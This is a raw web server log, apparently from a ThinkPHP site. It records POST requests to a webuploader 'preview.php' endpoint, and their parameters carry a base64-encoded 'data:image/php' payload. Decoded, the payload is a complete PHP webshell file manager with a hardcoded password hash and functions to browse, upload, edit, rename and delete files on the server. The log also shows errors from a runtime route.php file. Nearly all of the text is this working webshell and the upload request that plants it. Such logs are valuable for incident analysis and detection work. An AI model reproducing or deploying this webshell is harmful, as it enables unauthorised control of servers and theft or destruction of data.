Nvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:54+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/Admin/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002749s] [吞吐率:363.77req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJH